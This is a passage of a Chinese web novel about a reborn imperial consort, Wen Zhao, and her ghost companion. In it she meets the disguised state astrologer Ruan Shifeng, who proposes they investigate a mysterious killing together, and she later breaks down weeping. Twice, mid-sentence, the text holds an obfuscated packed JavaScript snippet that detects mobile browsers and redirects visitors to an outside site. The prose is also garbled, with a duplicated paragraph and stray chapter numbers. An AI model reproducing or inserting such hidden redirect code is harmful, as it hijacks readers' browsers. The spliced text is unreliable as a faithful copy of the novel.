谈情说爱?温招面具下的唇角勾起一丝极冷的弧度。不过是披着风月外衣的皮肉交易,各取所需的肮脏勾当。前世今生,她在这深宫泥沼里看得还不够多吗?所谓的真心,不过是权衡利弊后的虚与委蛇;所谓的爱慕,不过是权势与色相吸引的遮羞布。 “聒噪……” 一声极轻、极冷的低语,从面具后逸出。声音不大,却像冰珠坠入滚油,瞬间被周遭的喧嚣吞没,只有飘在她身侧的柳含烟捕捉到了那两个字里蕴含的、几乎要冻结灵魂的厌烦与……死寂。 柳含烟的魂体微微波动了一下,那双温柔的、属于生前妇人的眸子,带着一丝茫然与深切的忧虑,望向温招被冰冷面具覆盖的侧影。她不明白。宫墙外的世界,这曾经让她魂牵梦绕的自由与繁华,为何在温招眼中,只剩下一片令人作呕的污浊与刺耳的噪音?温招不爱那个高高在上的皇帝,似乎也……不爱这世间的一草一木。她的心,仿佛早已被掏空,只余下一片冻绝千里的荒原,任何一点人间的暖意靠近,都会被瞬间冻结、粉碎。 会有人……能捂热那样一颗心吗?柳含烟心中无声地划过这个念头,随即又被一股更深的悲凉淹没。那荒原太冷,太深,恐怕连最炽烈的太阳,也无法将其融化分毫。 温招对柳含烟的担忧毫无所觉。她的目光,如同被无形丝线牵引,穿透晃动的光影、扭曲的笑脸、弥漫的甜腻雾气,看向二层。 她没动。冰冷的银色面具隔绝了所有表情,只余下两道狭长缝隙后深不见底的幽暗。 一个端着酒壶、满脸堆笑的小二正巧从旁经过,被温招身上那股无形的、冻死人的寒意激得一个哆嗦,脸上的谄媚笑容瞬间僵住。 “小二。”温招开口。声音不高,甚至算得上平静,却像寒冬腊月屋檐下坠落的冰棱,带着刺骨的冷意,精准地凿进小二耳膜。 小二浑身一颤,差点把酒壶摔了,慌忙躬身:“姑…姑娘有何吩咐?”他不敢看那诡异的面具,只觉得一股寒气顺着脊椎往上爬。 “可有一位姓阮的公子,”温招的声音毫无波澜,像是在问一件无关紧要的琐事,“订了雅间?” 小二脑子里飞快过了一遍贵客名录,对上号时,脸色更白了三分,腰弯得更低,声音带着抑制不住的颤抖,手指却下意识地、像被无形力量牵引着,指向二楼那个特定的方向:“有…有!阮公子就在…就在天字丙号雅间!就是…就是垂着月白鲛绡纱帘的那一间!” 他指的方向,分毫不差,正是温招目光锁死之处。 “知道了。”温招的声音依旧平淡无波,仿佛只是确认了一件微不足道的小事。 小二如蒙大赦,连滚带爬地退开,仿佛多待一刻就会被那面具后的寒气冻成冰雕。 温招抬步,走向通往二楼的雕花木梯。 二楼雅间的区域,比楼下稍显清净些,但依旧弥漫着脂粉与酒气混合的甜腻。温招目不斜视,如同行走在空无一人的幽冥道上。她的目标明确,步伐稳定,带着一种不容置疑、亦无可阻挡的威压,径直走向走廊尽头那间垂着月白纱帘的雅间。 距离越来越近。 纱帘半透,隐约可见帘后那个慵懒斜倚的身影轮廓。他似乎并未起身,依旧维持着那副全不顾他人死活的散漫姿态。 温招的脚步停在垂落的月白鲛绡纱帘前。 柳含烟的魂体在温招身侧不安地浮动,她能清晰感知到温招周身那几乎要凝成实质的寒意。 “吱呀”一声轻响,月白的鲛绡纱被一只骨节分明、白皙修长的手从内挑开。 帘幕如水波般向两侧滑去,露出门内景象,也露出了那张脸。 就在这紧绷得几乎要断裂的寂静中。 “吱呀”一声轻响,月白的鲛绡纱被一只骨节分明、白皙修长的手从内挑开。 帘幕如水波般向两侧滑去,露出门内景象,也露出了那张脸。 是‘阮柿子’那张找打的脸。 风流,是刻进他骨子里的底色。雅痞,是漫不经心挂在眉梢眼角的玩世不恭。 墨玉般的长发并未束冠,随意披散,几缕不羁的发丝滑落额前,非但不显凌乱,反倒平添了几分慵懒的颓靡,衬得那张脸愈发白得晃眼,如同上好的羊脂暖玉,在雅间柔和的光线下流转着温润却惑人的光泽。 眉骨生得极高,带着一种天生的倨傲,眼窝微深,眼睫浓密如鸦羽,此刻半垂着,遮掩了眸中大半神色,却更显得那眼尾天生上挑的弧度,风流尽显,似笑非笑。 他唇角习惯性地勾着那抹恰到好处的痞笑,倚着门框的姿态闲适得如同在自己家后院晒太阳,浑身上下都透着一股“全不顾他人死活”的从容与散漫。 “哟,”他开口,声音如同上好的古琴拨动最低沉的那根弦,带着独特的磁性微哑,尾音拖长,无端撩人,“娘娘能来赴约,真是倍感荣幸……” 调侃的话语如同精心打磨的珠玉,流畅地滚落舌尖,带着他惯有的玩世不恭。然而,当他的目光,终于穿透那薄纱般的帘幕,真正对上温招的视线时。 那流畅的、带着戏谑韵律的尾音,毫无征兆地卡在了喉咙里。 温招没有动。 她就那样静立在帘外,隔着冰冷无情的银色面具,两道狭长的缝隙如同深渊裂开的口子,直直地“望”向他。那不是寻常的打量,更非惊艳或厌恶。那是一种……洞穿。 一种仿佛能剥开他精心维持的风流皮囊,直刺入灵魂最幽暗角落的、彻骨的冰冷审视。那目光里没有情绪,没有温度,只有一片冻结万物的虚无,以及一种近乎漠然的、对世间一切包括他阮柿子在内都毫不在意的死寂。 ‘阮柿子’唇角的笑意,那如同面具般焊在脸上的风流痞笑,第一次出现了极其细微的凝滞。仿佛被那目光冻住了一瞬。 他感觉自己的喉结似乎不受控制地滚动了一下。 那是一种极其陌生的感觉。并非恐惧,也非恼怒,而是一种……仿佛被看穿、被置于某种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915353|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰冷解剖台上的无所适从。他引以为傲的从容,他玩弄人心的戏谑,在那双毫无情绪波动的“眼睛”注视下,竟显得如此……肤浅和可笑。 温招并不在意眼前人的那点小心思,只是台步走进雅间,稳稳落座。 温招坐定,这才微微侧首,冰冷无情的银色面具上,那两道狭长的缝隙如同深渊裂开的眼,再次“望”向僵立在门口的‘阮柿子’。 “阮公子,”她的声音从面具后传来,平静无波,字字清晰,却比窗外渗入的夜风更冷冽,带着一种不容置疑的威仪,“找本宫所为何事?” 她刻意强调了“本宫”二字,点明身份,也划下无形的界限。既然此人能悄无声息潜入她的寝宫外,留下那张轻佻的邀约纸条,那么对她的身份自是心知肚明,此人异常棘手。 ‘阮柿子’被那穿透性的目光和直白冰冷的质问钉在原地一瞬。 他心底那股莫名的躁意又翻涌上来,带着一丝连他自己都未曾深究的恼火。他讨厌这种失控感,更讨厌被对方牵着鼻子走。 强行压下喉间那点残余的异样,‘阮柿子’脸上那抹玩世不恭的痞笑重新挂起,甚至比之前更灿烂几分,带着一种刻意的、近乎挑衅的风流。他慢悠悠地踱步进来,反手将月白鲛绡纱帘重新拢好,隔绝了外界的窥探。动作看似随意,却带着一种行云流水般的优雅。 “娘娘这话可真是伤人心呐,”他拖长了调子,声音里那份磁性的微哑更添几分惑人,桃花眼波光流转,深潭般的墨色试图掩盖方才那一闪而逝的金芒,重新凝聚起掌控全局的从容。他走到温招对面的另一张圈椅前,并未立刻坐下,而是斜倚着椅背,姿态依旧闲散,目光却牢牢锁住那冰冷的银色面具。 “难道无事,就不能请娘娘出来散散心,品品这聚欢阁新到的‘醉春风’?”他指尖不知何时捻起了一只小巧玲珑的玉杯,杯中琥珀色的酒液轻轻晃荡,映着雅间柔和的灯光,散发出醇厚的酒香。“这深宫寂寞,娘娘整日对着那些……”他故意顿了顿,唇角的笑意加深,带着一丝狎昵的意味,“……死气沉沉的宫人,岂不无趣?不若看看这鲜活的人间烟火,听听这软语温言……” 他一边说着,一边仔细观察着面具后的反应。那两道狭长的缝隙,如同亘古不变的深渊,没有丝毫波动。他的话语,他的试探,甚至他刻意流露的狎昵,都如同投入无底寒潭的石子,连一丝涟漪都未曾激起。 这种彻底的漠然,比任何愤怒或厌恶都更让他感到……挫败。仿佛他精心编织的言语陷阱和惑人风情,在对方眼中不过是跳梁小丑的拙劣表演。 一丝不易察觉的烦躁,如同细小的毒蛇,悄然噬咬着他的从容。他指尖无意识地摩挲着光滑的玉杯杯壁,试图稳住心绪。 温招静静听着,面具下的唇角,或许勾起了一丝极淡、极冷的弧度,无人可见。她并未接他的话茬,也不去碰那所谓的“醉春风”。 “呵……既然娘娘不喜这醉春风,那我便同娘娘讲些趣事儿。”‘阮柿子’在温招身旁的木椅上坐下,姿态依旧闲适,只是那斜倚的角度,微妙地调整了半分,似乎想离那冰冷的气息稍远一点。他指尖把玩着那只小巧的玉杯,琥珀色的酒液在杯中轻轻晃荡,映着他那张风流雅痞的脸,却照不进眼底深潭般的墨色。 他刻意放缓了语速,声音带着一种引人入胜的磁性,仿佛在讲述一个遥远而无关紧要的故事: “听闻啊,这皇宫中,昨日可是发生了一件大事……” 他顿了顿,桃花眼尾上挑,目光似有若无地扫过温招那毫无表情的银色面具,试图捕捉一丝一毫的波动,“那怀着龙嗣的梁婕妤,竟一夜之间,突然就……毙了。” “毙”字从他唇齿间轻轻吐出,带着一丝玩味的叹息,如同谈论一朵被风吹落的残花,而非一条消逝的性命和未出世的皇嗣。他仔细观察着面具后的反应,果然不出他所料,温招终于有了些反应,她羽睫轻颤了两下。 “此事人尽皆知,皇上已经宣召,梁婕妤秽乱后宫,引邪祟入体,”她微微侧首,那两道深渊般的狭长缝隙牢牢锁住‘阮柿子’,无形的压力如同冰封的潮水,无声地漫延开来,“阮公子可是对此事有别样的见解?” 空气仿佛瞬间凝固。 雅间内沉水香清冷的余韵,被一股无形的、更为凛冽的寒意所冻结。楼下隐约传来的喧嚣,也仿佛被隔绝在了另一个世界。 好一个良妃!竟敢拿皇上压他!‘阮柿子’眼眸微眯,但他话锋一转:“自然是不敢,但是在下还听闻了一些更有趣的细节。” 他唇角的弧度加深,目光如同淬了毒的刀锋,试图刺穿那冰冷的金属屏障,“比如,梁婕妤出事的地方,似乎并非什么秽乱之所,而是供奉着一尊……颇为古怪的佛像?” 温招端坐的身形,纹丝未动。冰冷的银色面具隔绝了所有表情,只有两道狭长的缝隙如同亘古不变的深渊,漠然地“注视”着他。 ‘阮柿子’毫不在意她的沉默,自顾自地继续,声音如同情人间的低语,却字字如冰锥:“那佛像……名唤子祭佛。”他清晰地吐出这三个字,如同在平静的湖面投下一块巨石。 就在“子祭佛”三字落下的瞬间,温招那如同万年玄冰雕琢而成的身躯,几不可察地、极其细微地震动了一下,一旁的柳含烟也跟着捏了把汗。 她搭在膝上的、被宽大袖袍遮掩的指尖,猛地向内蜷缩,指甲几乎要嵌进掌心。那冰冷的、毫无表情的银色面具之下,那双隐藏在深渊缝隙后的瞳孔,骤然收缩。 眼前这个轻佻、危险、风流的阮柿子……他怎么会知道?!他怎么可能知道?!子祭佛是万诡门的产物!他究竟是何人! ‘阮柿子’望向温招的反应,很是满意,又慢悠悠的开口:“而且啊,这西市的金身轩便有一尊子祭佛,恰巧,在下还与这金身轩的老板娘是旧友呢……” ‘阮柿子’唇齿间轻飘飘落下的“金身轩老板娘”几个字,如同裹着蜜糖的毒针,精准无比地刺穿了温招那层万年玄冰般的外壳。 “嗡” 温招的脑海深处,仿佛有什么东西轰然炸开,面具之下,温招的瞳孔骤然缩紧到极致,随即又猛地扩散开,深不见底的幽潭瞬间掀起了足以吞噬一切的狂澜。 柳含烟的魂体在她身侧剧烈地波动起来,如同狂风中的烛火,几乎要维持不住人形。柳含烟也开始对眼前的这个男人重新审视起来。 “诶诶~这位小姐,别太激动,孤魂太激动会变成厉鬼的~在下会害怕的~”‘阮柿子’贱兮兮的对着柳含烟调侃了一句。 温招是聪明人,如若眼前这个男人真的要揭发她,也不会把她约到这里。 “阮公子,本宫向来只与坦诚之人议事。”温招微微眯了眯双眸,外言之意,让眼前之人坦白身份再与自己谈条件。 9.009 ‘阮柿子’闻言,缓缓抬起了眼。这一抬眸,仿佛打破了某种精心维持的平衡。 时间,在这一刻被无形的手骤然拉长、扭曲。 整个世界,骤然缩小,坍缩成这方寸之地,坍缩成他们之间那不足三尺的、却又仿佛隔着无尽深渊的距离。 届时,‘阮柿子’率先收回了目光,轻笑了一声:“微臣…阮时逢,参见娘娘……” 温招面具下的瞳孔,不受控制地剧烈收缩了一下。冰冷的金属隔绝了表情,却无法阻挡灵魂深处掀起的滔天巨浪。 阮时逢…… 这个名字像一把淬了冰的钥匙,“咔嚓”一声,猝不及防地捅开了记忆深处那扇尘封已久的、布满蛛网的暗门。 是他!那个传说中大门不出、二门不迈,长年幽居司天监观星楼顶,权势仅在帝王之下的国师,阮时逢! 前世模糊的记忆碎片翻涌上来。她只听闻此人神秘莫测,拥有窥探天机、占星卜月的莫测之能,是皇帝最为倚重的臂膀,亦是朝堂之上真正能翻云覆雨的人物。 因其性情据说极为“洒脱”,行踪飘忽不定,连宫宴都甚少露面,以至于她前世被困深宫泥沼挣扎求生时,对此人的印象也仅仅止于一个遥远而模糊的符号,一个象征着皇权之上、不可触碰之力的符号。 惊骇过后,是更加汹涌的猜疑和冰冷的戒备。他为何要化身“阮柿子”,以那种轻佻的方式接近她?为何要引她来此,又刻意点破梁婕妤之死与子祭佛的关联?是试探?是警告?还是……某种她无法理解的、更险恶的图谋的开始?他知道了多少?关于她?关于万诡门? 两人之间,那不足三尺的距离,此刻却仿佛横亘着无法逾越的、由无数秘密和试探构筑的深渊。一方是重生归来、身怀诡术、心若寒冰的当朝宠妃;一方是权势滔天、深藏不露、通晓幽冥的当朝国师。 无声的对峙,在沉水香凝滞的烟雾中蔓延。空气紧绷得如同拉至极限的弓弦,下一瞬,不知是弦断,还是箭发。 阮时逢唇角那抹似笑非笑的弧度似乎加深了一分,他慢条斯理地端起那杯被温招推开的“醉春风”,琥珀色的酒液在玉杯中轻轻晃荡,折射出迷离的光晕。他没有喝,只是看着杯中晃动的光影,如同看着一场精心编排的戏码。 “娘娘,”他开口,声音依旧是那独特的磁性微哑,却褪去了轻佻,多了几分沉凝的玩味,每一个字都仿佛带着千钧的重量,清晰地敲击在凝滞的空气上,“似乎……很意外?” “国师大人,”她刻意加重了“国师”二字,如同在两人之间划下一条冰冷而森严的界限,“神通广大,洞察幽微。本宫……确实意外。” 她的声音不高,却字字清晰,带着一种拒人千里的疏离和一种被冒犯后强压的冷硬。她没有否认“意外”,也未曾追问对方如何得知,只是用一种近乎陈述事实的冰冷语气,点破了对方刻意隐藏的身份,也点明了她此刻被迫处于下风的处境。 这近乎认输的平静陈述,反而让阮时逢唇角的笑意微微一滞。他预想过对方的惊怒、质问、甚至不顾一切的暴起,却唯独没料到是这样一种近乎死寂的、将所有惊涛骇浪都强行封冻在冰层之下的平静。 有趣。真是……越来越有趣了。 阮时逢深潭般的眸底,那抹兴味如同投入石子的涟漪,一圈圈扩散开来,比之前更加浓烈。他晃酒杯的动作顿了顿,目光重新聚焦在温招那冰冷隔绝的面具上,仿佛要穿透那层金属,看清其下那颗被冰封的、却又蕴藏着怎样炽烈岩浆与刺骨寒意的……心。 无形的交锋,在平静的表象下,更加凶险地蔓延开来。深渊凝视着深渊,寒冰对峙着寒潭。 “那微臣便斗胆向娘娘提一个请求。”阮时逢带着温和的笑看着温招,可温招的心却是紧了紧,此人是在她计划之外的,若是他敢提出什么无礼的要求,她便送他上路。 柳含烟此刻心底也盘算着,如若此人想伤害温招,自己便附在他身上,她不允许任何人伤害到温招。可眼前的男子,却给他一种熟悉的感觉,却怎么也想不起来。 雅间内本就凝滞的空气,仿佛被一只无形的大手攥紧,彻底窒息。 阮时逢笑了一下:“娘娘不必太过紧张,微臣最见不得美人受伤。”轻佻的话语言外之意,此事对温招并无害处。 阮时逢顿了一下随即收起那副风流公子哥的模样,指尖在玉杯沿轻轻一叩。他抬眸时,眼底那抹玩味已敛去七分,只余下三分深不见底的幽暗,倒真有几分司天监观星时的认真。 “娘娘可知,”他声音压得低了些,磁性里裹着丝若有似无的喑哑,像夜风拂过星盘的低语,“梁婕妤并不是死于子祭佛。” 温招面具下的呼吸陡然一滞,袖中指尖将悄然扣住三张土火纸收了起来。怎会……梁婕妤怎会不是死于她的子祭佛…… “国师此话何意?”她再次开口,强行压下翻涌的心绪,让每一个字都如同冰珠砸落玉盘,冷硬而清晰,试图重新掌控这失控的局面。 阮时逢的目光并未离开那杯晃动的“醉春风”,琥珀色的液体在玉杯中旋转,折射出他眼底幽邃莫测的光,如同沉入深潭的星屑。“子祭佛,需怀胎妇人小产而亡,怨气缠身,化而为煞。”他的声音低沉下去,带着一种剖析秘辛般的喑哑,每一个字都像是从幽暗的地底渗出,“陛下午时召臣入佛堂……梁婕妤死状固然凄惨,腹破肠流,怨气冲天,但那怨气……并非源于子祭佛的悲鸣与不甘。” 他指尖在杯沿轻轻一叩,发出一声清脆又孤寂的轻响。 “是‘它’自己撕开的。”阮时逢抬起眼,那深潭般的眸子里再无半分轻佻,只剩下纯粹的、令人心悸的寒意,“从内而外,用尚未成形的爪牙,生生撕裂了孕育它的母体。那不是被动的怨灵凝聚,是……主动的吞噬与挣脱。” 雅间内,沉水香的烟雾似乎凝滞成了实体,沉甸甸地压在每个人的心头。空气不再是紧绷的弓弦,而是变成了粘稠冰冷的泥沼,每一次呼吸都带着窒息般的阻力。 温招面具下的瞳孔骤然缩紧,仿佛被无形的针狠狠刺中。主动撕开母体?吞噬?那是什么东西?!她从未听闻这等邪物,一股更甚于面对子祭佛的寒意,顺着脊椎悄然爬升,让她四肢百骸都泛起冰冷的麻痹感。她基于前世记忆的掌控感,在这一刻出现了巨大的、未知的裂痕。 “那是什么?”温招的声音几乎是从齿缝里挤出来的,带着一种连她自己都未曾察觉的、被未知恐惧浸染过的嘶哑。她不再掩饰内心的惊涛骇浪,因为这邪物的存在,已完全超出了她的认知边界。 阮时逢终于放下了那杯晃了许久的酒。他身体微微前倾,无形的压迫感瞬间如潮水般涌向温招。那双深不见底的眼眸,仿佛能穿透冰冷的金属面具,直视她灵魂深处的惊悸。 “一种比子祭佛更为古老、更为怨毒、也更难缠的东西。”他薄唇微启,吐出的字眼带着一种宣告厄运般的森然,“至于是什么…这便是微臣的请求,微臣知晓娘娘通灵,你我二人一同查证此事,会方便些。” 合作?与这个翻手为云覆手为雨、行踪诡秘、连皇帝都倚重三分的国师?无异于与虎谋皮! 理智在疯狂尖叫着拒绝。他身份不明,动机叵测,今日的一切相遇、试探、揭露,都像是一场精心布置的棋局,而她似乎正一步步踏入他划定的区域。深渊凝视着深渊?不,她感觉自己更像是一只被庞大阴影笼罩的猎物,对方正饶有兴致地拨弄着她的恐惧与底线。 心底一个尖锐的声音在嘶喊。一旦应下,便等于主动将自己置于他的视线之下,将那些拼死隐藏的秘密暴露在未知的风险之中。前世被背叛、被践踏的痛楚记忆瞬间翻涌上来,如同无数冰冷的针尖刺穿着她的心脏。信任?这深宫之中,这权力之巅,何曾有真正的信任可言?有的只是利用与算计! 然而……那个邪物…… 它的存在本身,就是一个巨大的、不稳定的变数。它残忍地撕碎了梁婕妤,也撕碎了她基于前世记忆构筑的、对这个世界危险程度的认知。一个能主动吞噬母体、挣脱束缚的未知邪祟,其凶险程度远非子祭佛可比。它潜藏在暗处,如同一条毒蛇,随时可能再次露出獠牙。放任不管?她温招绝不做那掩耳盗铃的蠢人!这深宫是她复仇的战场,也是她必须掌控的牢笼,任何脱离掌控的危险因子,都必须被彻底清除或……利用。 更何况,阮时逢既然已经点破了她通灵之事,这便是他握在手中的一个筹码。拒绝合作,是否意味着立刻翻脸?她袖中的纸符或许能搏命,但面对深不可测的国师,面对他背后代表的滔天权势和莫测玄法,胜算几何? 时间在凝滞的沉水香烟雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“自然,”他声音依旧带着那独特的磁性微哑,尾音轻轻上挑,如同羽毛搔刮过心尖,“微臣在司天监……静候娘娘佳音。” 那“佳音”二字,被他含在舌尖,咀嚼出几分暧昧不清的意味。 温招没有再看他一眼。 她挺直了背脊,那身繁复华贵的宫装在此刻仿佛成了她最坚硬的铠甲,隔绝了身后那道如有实质的目光。宽大的袖袍无声垂落,掩住了她袖中紧握成拳、指节微微发白的手。面具冰冷地贴合着她的皮肤,隔绝了表情,也隔绝了外界试图窥探她内心的可能。 她转身,动作并不快,甚至带着一种刻意的、属于上位者的从容。但柳含烟却清晰地“听”到了她灵魂深处那根紧绷的弦发出不堪重负的嗡鸣。 她立刻飘然跟上,半透明的身影无声地护卫在温招身侧,警惕的视线如同冰冷的刀锋,最后一次刮过阮时逢那张含笑的脸。那熟悉感带来的困惑并未消散,反而在对方深不可测的气场下化作更深的忌惮。 一步,两步。 温招的绣鞋踩在铺着柔软地毯的地面上,本该无声,此刻却仿佛踏在柳含烟的心尖上,每一步都沉重无比。雅间门近在咫尺,那雕花的门扉像是隔绝了两个世界。 就在温招的手即将触碰到门环的瞬间,身后传来阮时逢不疾不徐的声音,如同投入死水潭的石子: “娘娘,夜路湿滑,当心脚下。” 依旧是那副轻佻浪荡的腔调,却在这沉凝的氛围里,平白添了几分阴森。像是一条冰冷的蛇,悄无声息地滑过脚踝。 温招搭在门环上的指尖几不可察地蜷缩了一下,冰冷的金属触感刺入指腹。她没有回头,也没有回应,只是用尽全力维持着那份摇摇欲坠的平静。她猛地拉开了沉重的门扉。 门外,廊下不知何时飘起了细密的雨丝,带着初秋夜晚特有的、侵入骨髓的凉意。潮湿的风裹挟着泥土和草木的气息,扑面而来,瞬间冲散了雅间内那令人窒息的沉水香。 这冰冷的、属于真实世界的空气,让温招几乎麻木的肺部终于得以喘息,却也让她被强行压下的惊悸和寒意,如同蛰伏的毒蛇,骤然复苏,顺着四肢百骸疯狂蔓延。 柳含烟立刻贴近,一股阴冷的、却带着守护意味的气息悄然笼罩住温招周身,试图驱散那侵入骨髓的湿寒和身后无形的压力。她能感觉到温招的身体在宽大衣袍下极其细微地颤抖着…… 10.010 为什么…… 这三个字像淬了毒的针,反复扎刺着温招的脑海,每一次穿刺都带起更深沉的麻木和更尖锐的痛楚。 司天监不是说她是朝阳命吗…… 朝阳?呵。温招面具下的唇角勾起一个比哭还难看的弧度,冰冷而嘲讽。那所谓的“朝阳命”,金光灿灿的预言,此刻就像一个巨大的、血淋淋的笑话,狠狠扇在她脸上。她的人生,何曾见过半分朝阳的暖意?只有深不见底的寒夜,和一次次将她拖入绝望泥沼的漩涡。 为什么所有的事都在渐渐脱离她的掌控……不论上一世…还是这一世…… 这念头如同冰冷的潮水,瞬间淹没了她。上一世,她是笼中雀,是他人掌心的玩物,每一步都身不由己,最终被碾落成泥。她以为重活一世,手握前世记忆与李婆的诡秘手段,便能撕开这命运的铁幕,将那些欺她、辱她、负她之人,拖入地狱偿还。她步步为营,复仇才刚刚开始,像一只在蛛网上耐心潜伏的毒蛛…… 可阮时逢的出现,梁婕妤腹中那未知的、主动撕开母体的邪物……就像一只无形巨手,蛮横地砸碎了她的蛛网,将她精心构建的复仇蓝图撕扯得支离破碎。她苦心维持的掌控感,如同指间流沙,正以她无法阻止的速度疯狂流逝。 为什么一切的一切都在和她作对……为什么…… 一种巨大的、灭顶的无力感攫住了她。她像被困在无边无际的黑暗中,无论朝哪个方向奔跑,最终都会撞上冰冷的、嘲弄着她的墙壁。老天爷……你何其不公!她温招所求何多?不过是想活着,有尊严地活着,把前世欠她的公道,亲手讨回来!她只是一介女流,在这吃人的深宫,在这诡谲的世间,想抓住一点点属于自己的东西,为何就这般艰难?活着,竟成了最奢侈的愿望! 朝阳命……宠妃……靠男人……呵…… 过往那些贴在她身上的标签,那些曾让她麻木接受或暗自抗拒的“宿命”,此刻如同烧红的烙铁,在她灵魂深处烫下屈辱的印记。她厌恶这些标签!她不是任人摆布的玩物,不是依附帝王的藤蔓!她是复仇的厉鬼,是执棋的手!可如今,连这“执棋”的资格,似乎都要被剥夺了…… 为什么…… 她带着柳含烟走出聚欢阁那扇仿佛隔绝了噩梦的门,脚步虚浮,如同踩在云端,又像深陷泥沼。初秋的夜雨依旧细密冰冷,打在她华贵的宫装和冰冷的面具上,却激不起半分反应。她垂着头,脖颈像是再也支撑不住那沉重的头颅和更沉重的绝望,无力地弯折下去。 昔日挺直的、象征着她不屈意志的脊梁,此刻也微微佝偻着,整个人仿佛被一只无形的大手抽走了全部的筋骨与魂魄,只剩下一具被华丽宫装包裹的空壳,在湿冷的雨夜里茫然前行。 雨水顺着面具边缘滑落,有些流进了颈窝,带来刺骨的寒意,她却浑然不觉。她的世界缩小到只剩下脚下被雨水打湿的青石板路,以及耳边那永无止境的、来自灵魂深处的诘问:为什么?为什么?为什么?! “……为什么……为什么……为什么……” 那无声的诘问如同跗骨之蛆,在温招冰冷麻木的识海中反复啃噬,将她拖向更深的绝望深渊。雨水冰冷,面具冰冷,宫装冰冷,这世间的一切都透着刺骨的寒意,仿佛要将她最后一点挣扎的力气也冻结。她感觉自己正坠向一个无光的冰窟,四周是坚硬的、无法攀爬的绝望之壁。 就在这灭顶的窒息感几乎要将她彻底吞噬时,一种极其细微的、孩子气的颤抖,无法抑制地从她微微佝偻的肩头泄露出来。 她想李婆了…… 那个在她被丢弃在乱葬岗之后,用不入轮回的代价,给了她复仇之力和一线生机的老妇。李婆的粗糙的手,会帮幼年的她擦掉眼泪,会给她糖葫芦吃,会拍着她的后背哄她睡觉在那段被所有人抛弃、如同阴沟老鼠般挣扎求生的日子里,李婆是唯一伸向她的、沾满泥污却无比有力的手。 她也想娘亲了…… 记忆深处早已模糊、却永远带着一层温暖光晕的影子。娘亲的手是柔软的,带着阳光晒过被褥的暖香,会温柔地拂过她幼时柔软的额头。娘亲的声音是低低的、柔柔的,像春夜里最和煦的风,可娘亲在生下她的第二天便离世了。娘亲的怀抱……是这世间唯一能让她卸下所有防备、感到安全的地方。 可娘亲早已化作了黄土之下的一缕芳魂,连尸骨都不知所终,李婆……更是用永生永世作为代价只换她重活一世,平安喜乐…… “娘……”一个破碎的、带着浓重鼻音的低泣,被死死地压抑在喉咙深处,只有面具下滚烫的泪水,毫无预兆地汹涌而出,瞬间模糊了视线,又迅速被冰冷的雨水冲刷、混淆。那滚烫与冰寒交织的触感,如同她此刻被撕裂的心。 这声压抑到极致的呜咽,像一把烧红的锥子,狠狠刺穿了柳含烟本就揪紧的魂核。 她看着温招那从未有过的、如同被遗弃幼兽般无助颤抖的肩膀,看着她低垂的、仿佛被千钧重担压垮的脖颈,所有的焦急、心痛、愤怒瞬间化作了无边无际的、近乎窒息的怜惜。 那些前世的记忆柳含烟忘记了,可看见了无助的孩子,她还是会下意识的难受,她飘荡在这世间已经近百年了……她不知道自己为什么而飘荡,迟迟不肯离去,她也没有认识的魂,也没有变成恶鬼……直到她遇到了那个运筹帷幄的温招。可她从没见过此刻的温招。 那个在深宫泥沼里挣扎也要挺直脊梁的温招,那个面对帝王威压也敢以假面周旋的温招,那个手握诡术、心若寒冰、发誓要血债血偿的温招……此刻,被那无解的“为什么”击穿了所有坚硬的外壳,露出了里面那个伤痕累累、渴望被爱、渴望一点点温暖的孩子。 柳含烟再没有半分犹豫。她透明的身影瞬间凝实了几分,不再是警惕的守护姿态,而是带着一种近乎虔诚的、属于母性的温柔。她飘然上前,不是焦虑的询问,而是轻轻地、极其小心翼翼地,伸出那双没有温度、却凝聚了她全部守护意志的手。 她并没有试图去碰触温招冰冷的面具或沉重的发髻。她的动作轻柔得如同拂去花瓣上的露珠,一只冰冷透明的手,极其小心地、带着无限怜惜地,托住了温招微微颤抖的下颌下方,那被雨水和泪水濡湿的颈窝处裸露的肌肤。另一只手则带着同样的轻柔与坚定,虚虚地、却无比稳固地,扶住了温招微微塌陷下去的后心。 这个姿势,像极了母亲在安抚一个因巨大委屈而无声抽噎、几乎站立不稳的孩子。 “温姑娘……”柳含烟的声音在温招的耳边响起,不再是往日的温婉,而是低沉到了极致,带着一种能抚平灵魂褶皱的、不可思议的温柔力量,如同寒夜里燃起的一豆烛火,微弱却执着地驱散着黑暗,“不哭了……不哭了……” 她的声音里仿佛揉碎了月光和记忆里所有关于温暖的碎片。 “累了……就歇歇吧”她的意念带着一种奇异的安抚力量,试图引导温招从那片绝望的泥沼中抬头,“我在这里。一直都在。” 温招的意识在剧烈的情绪冲击下有些模糊,她分不清这温暖来自何方,只觉是那渴望了一生的救赎。 她再也支撑不住,那挺直的脊梁彻底软了下来,仿佛被抽走了所有力气,额头无力地抵在了柳含烟虚虚环抱的、散发着守护微光的魂体“肩膀”处,她摘下了面具。 泪水彻底决堤,不再是无声的汹涌,而是变成了压抑到极致的、断断续续的呜咽和抽泣。她像个终于找到归处的迷途幼兽,在柳含烟用魂力构筑的“怀抱”里,卸下了所有坚硬的伪装,释放着积压了两世的委屈、不甘、恐惧和对逝去温暖的深切思念。 每一次抽噎,都牵动着身体细微的颤抖,也牵动着柳含烟的魂核。 柳含烟没有再说更多安慰的话。她只是用尽全力维持着这个“拥抱”,冰冷透明的“手”极其轻柔地、一遍又一遍地,在温招剧烈起伏的后背上“拍抚”着。 那动作带着百年孤魂所能凝聚的全部温柔和耐心,如同安抚一个惊魂未定的婴儿。她的魂体微光随着温招的哭泣轻轻波动,如同无声的共鸣。 